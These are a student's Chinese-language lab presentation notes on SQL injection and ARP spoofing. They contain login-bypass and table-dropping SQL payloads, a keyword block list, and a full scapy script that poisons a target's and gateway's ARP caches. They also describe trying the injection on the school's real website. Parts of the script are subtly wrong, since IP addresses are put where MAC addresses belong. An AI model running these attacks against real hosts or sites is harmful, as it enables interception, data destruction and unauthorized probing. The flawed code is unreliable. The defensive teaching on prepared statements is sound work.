这个是我的实验汇报的笔记,这里还有实验课题: 网络信息安全实验 — 网络攻击技术实验
但是。。。实验汇报和实验过程关系不大,哈哈哈
这次的课题比较高大上,但是是面向比较基础的的同学;
我觉得不管水平如何,听完应该都是会有收获的。
SQL 注入攻击是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中,再在后台SQL服务器上解析执行进行的攻击,它目前是黑客对数据库进行攻击的最常用的手段之一。
在本机上启动 SpringBoot 项目,
由于本机 IP 为:192.168.3.3
,项目端口设置为8989
,
故在虚拟机上输入下列网址可以访问该项目:
192.168.3.3:8989/ems/index
首先给大家演示一下 SQL 注入可以达到的效果。
以下是本次用到的简单 SQL 注入语句:
123 or '1' = '1'
'hello' or 'a' = 'a'
222 or true
这几次密码都是不一样的,并且与数据库中的存储的密码都不同,却可以登录成功,
我们把这种攻击称作 SQL注入。
想要知道 SQL 注入的原理,我们要简单了解一下 WEB 项目。
WEB 项目的结构是很复杂的,我们这里简单介绍一下我们需要了解的部分,
当用户在登陆界面输入用户名和密码以后,后台是如何判断登录成功或是登录失败?
要说原理,还是从 mysql 的查询语句开始看比较容易理解。
首先,我们来看一个最简单的 SQL 语句。(配合 mysql 中的 ems 数据库演示)
SELECT * FROM t_user
WHERE username = 'zhenyu'
AND password = '123456';
以上这个是可以从数据库中查询到信息的,因为 WHERE
子句的条件成立。
好,我们再看一个 SQL 语句。
SELECT * FROM t_user
WHERE username = 'zhenyu'
AND password = '111';
这个 SQL 语句明显是得不到结果的,因为 WHERE
子句的条件不成立,
即数据库中没有 用户名为 zhenyu
,密码为 111
的数据。
那么有没有办法让 WHERE
子句的条件强行成立呢?
那自然是有的啦,请看下一条 SQL 语句:
SELECT * FROM t_user
WHERE username = 'zhenyu'
AND password = '111'
OR '1' = '1';
没错,这就是最简单的 SQL 注入。
利用 123 or '1' = '1'
登录。
其实我们开启了 SpringBoot 的日志功能是可以看到执行的SQL语句的。
以下是 MyBatis 框架生成 有风险
的 SQL 语句:
select id, username, realname, password, sex
from t_user
where username='zhenyu'
and password=123 or '1' = '1'
以下是 MyBatis 框架生成的 可以预防SQL注入的
的 SQL 语句:
select id, username, realname, password, sex
from t_user
username=?
and password=?
预防 SQL 注入的关键在于 预处理语句
,也就是代码中出现的这个 ?
,具体请看下面。
简单介绍一下,用于 Java程序 和 数据库 之间的数据传输的途径是 Statement
接口;
具体类的实现有 3 个:我们主要了解一下 Statement
和 PreparedStatement
,第三个不用管。
Statement
:用于对数据库进行通用访问,使用的是静态SQLPreparedStatement
:用于预编译模板SQL语句,在运行时接受 sql 输入参数CallableStatement
对于 静态SQL,所有的 SQL 都是进行拼接,再看上面框架生成的有风险的 SQL:
select id, username, realname, password, sex
from t_user
where username='zhenyu'
and password=123 or '1' = '1'
对于 预处理语句:在 SQL 模板中,使用 ?
作为占位符,再看上面的框架生成的安全的SQL:(将用户输入的内容变成了参数,使得 SQL 关键字 or
不生效了)
select id, username, realname, password, sex
from t_user
where username = ?
and password = ?
是因为它 把单引号'
转义了,在单引号前面加了一个斜杠,变成了 \'
,这样一来,就无法截断 SQL 语句,进而无法拼接 SQL 语句,基本上没有办法注入了。
这么说可能不够直观,让我们直接看SQL语句。就比如我们上面的例子中,
我们传入的用户名是:zhenyu
、密码是:123 or '1' = '1'
,
对于 静态SQL 来说,拼接成了:
select id, username, realname, password, sex
from t_user
where username='zhenyu'
and password=123 or '1' = '1'
对于 预处理语句 来说,实际上变成了:
select id, username, realname, password, sex
from t_user
where username='zhenyu'
and password='123 or \'1\' = \'1\''
对学校官网使用 123 or '1' = '1'
,看看是什么效果呢?
状态码简介:
为什么会这样呢?其实很简单,就是对用户输入的信息进行一个判断,如果包含某些 SQL 语句的关键字比如 OR
、AND
等,那么就认为该用户有非法操作。(这也是预防SQL注入的方法一种,但更推荐直接使用预处理语句,也可以将两者结合使用)
一般判断输入是否合法都会使用 正则表达式 ,这是为了防止误判,比如某个人的密码为 HUORE
,如果只是普通的字符串匹配的话,匹配到OR
便会认为这个密码非法。
但是我这里为了省事,就用字符串匹配的方式写的代码。
String ban[] = {
"or", "'or'", "OR","'OR'", "drop", "'drop'", "DROP", "'DROP'"};
for (String b : ban) {
if (password.contains(b)) {
return "/ems/forbid"; // 禁止页面
}
}
你以为 SQL 注入的危害就那么一点点吗?我们来看一个稍微严重一点的。
123; drop table t_user;
实际生成的 SQL 语句:
select id, username, realname, password, sex
from t_user
where username='zhenyu'
and password=123;
drop table t_user;
看到效果了吗,现在是不是觉得 SQL 注入比想象中的要恐怖呢?
SQL 备份:
CREATE TABLE `t_user` (
`id` varchar(40) NOT NULL,
`username` varchar(40) DEFAULT NULL,
`realname` varchar(40) DEFAULT NULL,
`password` varchar(40) DEFAULT NULL,
`sex` varchar(8) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `t_user` VALUES ('1', 'zhenyu', '陆振宇', '123456', '男');
此时,相信大家对 SQL 注入的原理有个初步的了解了,当然这只是最简单的一种,
几乎没有任何实用性,因为现在的网站一般都会使用 预处理语句 来预防 SQL 注入,
安全性更高的会还对用户的输入进行严格的过滤。
据我了解,只要安全意识足够,预处理语句 是 100% 可以防范住 SQL 注入的,(如果只是过滤关键字依旧有可能拼接成功,所以更建议使用 预处理语句)
而黑客找的漏洞其实找的就是 安全意识方面的漏洞,例如:
黑客的智慧是无穷无尽的,正如简单的 SQL 语句你我都知道,可又曾想到如此简单的语句隐藏着如此大的威胁与漏洞。
相信大家做过实验应该对 ARP欺骗 不陌生,arpspoof 是一款进行 arp欺骗 的工具。
这个我相信其他同学会讲的很清楚,所以我这里就简单介绍一下。
简单来说就是:有三个角色
双向欺骗指的是:本机(攻击方) 同时欺骗 目标主机(被攻击方) 和 网关;
由此可以得出编程的大致思路:
- 学会 构造数据包 和 发送数据包:利用 python 的
scapy
模块- 了解 ARP报文的结构,才知道要发送什么样的报文(例如我是目标主机、我是网关这种包要如何发出)
代码大体结构:
scapy官方文档
scapy
是一个 python 模块,使用简单,作用是:构造各种数据包,
我们编写 arpspoof工具 就需要用它来 构造 ARP 数据包 并且发送。
报文结构是十分复杂的,但是对我们来说,要了解的其实没有那么多。
对我们来说只要关心
操作码
、源硬件地址
、源协议地址
、目标硬件地址
、目标协议地址
ARP 报文结构分为两部分:以太网链路层 (所有报文共有的)和 ARP 报文数据。
(下面的英文单词要了解一下,因为编程中变量命名的规范都是根据这个来的)
以太网链路层:
目标以太网地址:目标 MAC 地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。
dst
—— destination:目标
源以太网地址:发送方 MAC 地址。
src
—— source:源
帧类型:以太类型,ARP 为 0x0806。
type
:类型
ARP 报文数据:
硬件类型:如以太网(0x0001)、分组无线网。
hwtype
—— hardware + type
协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。
ptype
—— protocol + type
硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。
hwlen
—— hardware + type
协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。
plen
—— protocol + length
上面的部分基本都是固定,下面才是是我们需要了解的。
操作码:操作码, 默认为 1,1表示请求,2表示应答(我们用的都是2)
op
—— operation
源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。
hwsrc
—— hardware + source
源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。
psrc
—— protocol + source
目标硬件地址:n个字节,n由硬件地址长 度得到,一般为目标MAC地址。
hwdst
—— hardware + destination
目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址。
pdst
—— protocol + destination
完整报文格式:对我们来说只需要关心 操作码
、源MAC地址
、源IP地址
、目标MAC地址
、目标IP地址
from scapy.all import *
查看默认的以太网头部:
>> LS(Ether()) # 查看默认的以太网头部
dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '18:1d:ea:a1:f7:34' (None)
type : XShortEnumField = 36864 (36864)
查看 ARP报文:
>> ls(ARP()) # 查看ARP报文
hwtype : XShortField = 1 (1)
ptype : XShortEnumField = 2048 (2048)
hwlen : FieldLenField = None (None)
plen : FieldLenField = None (None)
op : ShortEnumField = 1 (1)
hwsrc : MultipleTypeField = '18:1d:ea:a1:f7:34' (None)
psrc : MultipleTypeField = '192.168.3.3' (None)
hwdst : MultipleTypeField = '00:00:00:00:00:00' (None)
pdst : MultipleTypeField = '0.0.0.0' (None)
#-*- coding:utf-8 -*-
from scapy.all import *
from scapy.layers.l2 import ARP, getmacbyip
import sys
为什么需要这些参数,后面 双向欺骗 的时候会说到,先了解下获取哪些参数。
进行 ARP 欺骗需要以下的必要参数:网卡、网关IP(网关MAC)、目标IP(目标MAC)
【网卡】(interface
):Kali 下使用 ifconfig
查看
【网关 IP 地址】(gateway_ip
):Kali 下使用 route -n
查看,
网关 MAC 地址(gateway_mac
):通过 getmacbyip(gateway_ip)
获取
【目标主机 IP 地址】(target_ip
):Windows 下使用 ipconfig /all
查看
目标主机 MAC 地址(target_mac
):通过 getmacbyip(target_ip)
获取
def main():
conf.verb = 0 # 关闭提示信息
# 网卡 (在kali上运行该脚本)
interface = "eth0"
conf.iface = interface # 设置网卡
# 网关 IP 地址
gateway_ip = "192.168.3.1"
# gateway_ip = input("请输入当前局域网的网关IP地址:")
# 目标主机 IP 地址
target_ip = "192.168.3.3"
# target_ip = input("请输入你想攻击的IP地址: ")
print("[*] 网卡: %s"%interface )
# 获取网关 MAC 地址
gateway_mac = getmacbyip(gateway_ip)
if gateway_mac is None:
print("[!] 获取网关MAC失败. Exiting...")
sys.exit(0)
else:
print("[*] 网关: %s MAC: %s"%(gateway_ip, gateway_mac))
# 获取目标主机 MAC 地址
target_mac = getmacbyip(target_ip)
if target_mac is None:
print("[!] 获取目标主机MAC失败. Exiting...")
sys.exit(0)
else:
print("[*] 目标主机: %s MAC: %s"%(target_ip, target_mac))
# 获取了 【网关IP】、【网关MAC】、【目标IP】、【目标MAC】 后, 开始进行 ARP双向欺骗
attack_target(gateway_ip, gateway_mac, target_ip, target_mac)
if __name__ == "__main__":
main()
双向欺骗指的是:本机(攻击方) 同时欺骗 目标主机(被攻击方) 和 网关;
经过上面获取参数,我们已经获得了:网关IP、网关MAC、目标IP、目标MAC 。
那么本机(攻击方)要如何告诉网关,我是目标主机呢?
就是通过 ARP 包的
操作码
、源MAC地址
、源IP地址
、目标MAC地址
、目标IP地址
格式
其实就是构造一个 ARP 包,然后将 ARP 包的报文格式中,以上属性分别设置一下:
操作码
设置为 2,表示 应答(这个就当固定即可)源IP地址
设置为 目标主机的 IP 地址,相当于是说:我是目标主机目标MAC地址
和 目标IP地址
都设置为 网关,表示这个包要发给 网关# 欺骗网关, 我是目标主机
'''
发送给网关(gateway_ip)
欺骗它:
我的 IP 是 target_ip(我是目标主机)
我的 MAC地址 是 hwsrc(默认本机)
'''
poison_gateway = ARP() # 构造 ARP包
poison_gateway.op = 2 # ARP应答
poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)
poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关
poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关
那么本机(攻击方)要如何告诉目标主机,我是网关呢?和上面几乎一样:
构造一个 ARP 包,然后将 ARP 包的报文格式中,做以下设置:
操作码
设置为 2,表示 应答(这个就当固定即可)源IP地址
设置为 网关的IP地址,相当于是说:我是网关目标MAC地址
和 目标IP地址
都设置为 目标主机,表示这个包要发给 目标主机# 开始欺骗目标主机, 我是网关
'''
发送给目标主机(target_ip)
欺骗它:
我的 IP 是 gateway_ip(我是网关)
我的 MAC地址 是 hwsrc(默认本机)
'''
poison_target = ARP() # 构造 ARP包
poison_target.op = 2 # [操作码]ARP应答
poison_target.psrc = gateway_ip # [源IP地址]我的 IP 是 gateway_ip(我是网关)
poison_target.pdst = target_ip # [目标 IP 地址]
poison_target.hwdst = target_mac # [目标 MAC 地址]
完整的实现双向欺骗的代码:
'''
进行双向欺骗
'''
def attack_target(gateway_ip, gateway_mac, target_ip, target_mac):
'''
首先使用 scapy 构造 ARP包, ARP 报文结构详见笔记
[op]: 操作码, 默认为 1, 对我们来说固定使用 2
1为 ARP请求, 2为 ARP应答
[hwsrc]: 发送方 MAC 地址, 用于告诉对方我的 MAC 地址是什么, 默认为本机, 采用默认即可
hw —— hardware:硬件, src —— source:源, 也就是自己
[psrc]: 发送方 IP 地址, 用于告诉对方我的 IP 地址是什么, 可以用来【伪装】
下面两个属性决定报文发给谁:
[hwdst]: 目标 MAC 地址
dst —— destination:目的地
[pdst]: 目标 IP 地址
'''
# 开始欺骗目标主机, 我是网关
'''
发送给目标主机(target_ip)
欺骗它:
我的 IP 是 gateway_ip(我是网关)
我的 MAC地址 是 hwsrc(默认本机)
'''
poison_target = ARP() # 构造 ARP包
poison_target.op = 2 # ARP应答
poison_target.psrc = gateway_ip # 我的 IP 是 gateway_ip(我是网关)
poison_target.pdst = target_ip # 目标 IP 地址
poison_target.hwdst = target_mac # 目标 MAC 地址
# 欺骗网关, 我是目标主机
'''
发送给网关(gateway_ip)
欺骗它:
我的 IP 是 target_ip(我是目标主机)
我的 MAC地址 是 hwsrc(默认本机)
'''
poison_gateway = ARP() # 构造 ARP包
poison_gateway.op = 2 # ARP应答
poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)
poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关
poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关
print("[*] 正在进行ARP投毒. [CTRL-C 停止]")
while True:
try:
# 不停的发送 ARP包
send(poison_target)
send(poison_gateway)
# 休眠一下, 避免太频繁的欺骗, 影响网络
time.sleep(2)
# 捕获键盘中断
except KeyboardInterrupt:
# 进行 ARP缓冲修复
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
break
print("[*] ARP投毒结束...")
讲到这里估计时间已经很紧了,所以这个就略过吧;
只需要知道这个的作用是 攻击结束后,让目标重新可以上网
。
'''
arp 缓冲表恢复
'''
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print("[*] 恢复ARP缓冲...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,
hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_ip), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))
将脚本复制到 linux
下,python3 arpspoof.py
运行即可。
现在的问题是只能攻击指定主机,我们修改一下,就可以变成一个通用的安全工具了。
虚拟机的连接方式:我们主要根据 是否与真实电脑平级
来区分。
NAT(网络地址转换,虚拟机可以上网,但不能和物理机通信)----- VMnet8
相当于把你的网卡当做路由器,形成了一个新的局域网,所以与真实机器不是平级的,相当于真实电脑的下一级。
bridge (桥接,虚拟机与物理机在地位上相等,相当于与物理机在同一局域网的物理机) — VMnet0
简单来说,桥接模式就相当一个宿舍中,你和你舍友的电脑都连着同一个WIFI。开启了桥接模式的虚拟机就相当于你舍友的电脑。也就是说桥接模式下的虚拟机与真实机器平级。
host only(仅主机模式,虚拟机之间可以通信,与物理机不能通信)----- VMnet1
这个就更简单了,它与你当前主机的网络是隔离开来的,单独形成了一个网络(默认情况是不能上网的),但是如果你电脑上开着多个虚拟机,他们会处于这个单独的网络中,是可以构成一个局域网的。
VMvare 任务栏 —— 编辑 —— 虚拟网络编辑器,进入后点击右下角的 更改设置,
将 VMnet0 的桥接模式的 自动
修改为 当前所连接的网络
。
这个较为麻烦,建议直接看整理好的博客:VMvare 桥接模式无法联网、没有未桥接的主机网络适配器,无法将网络更改为桥接状态。
讲到这里我绝对已经超时了,哈哈哈~~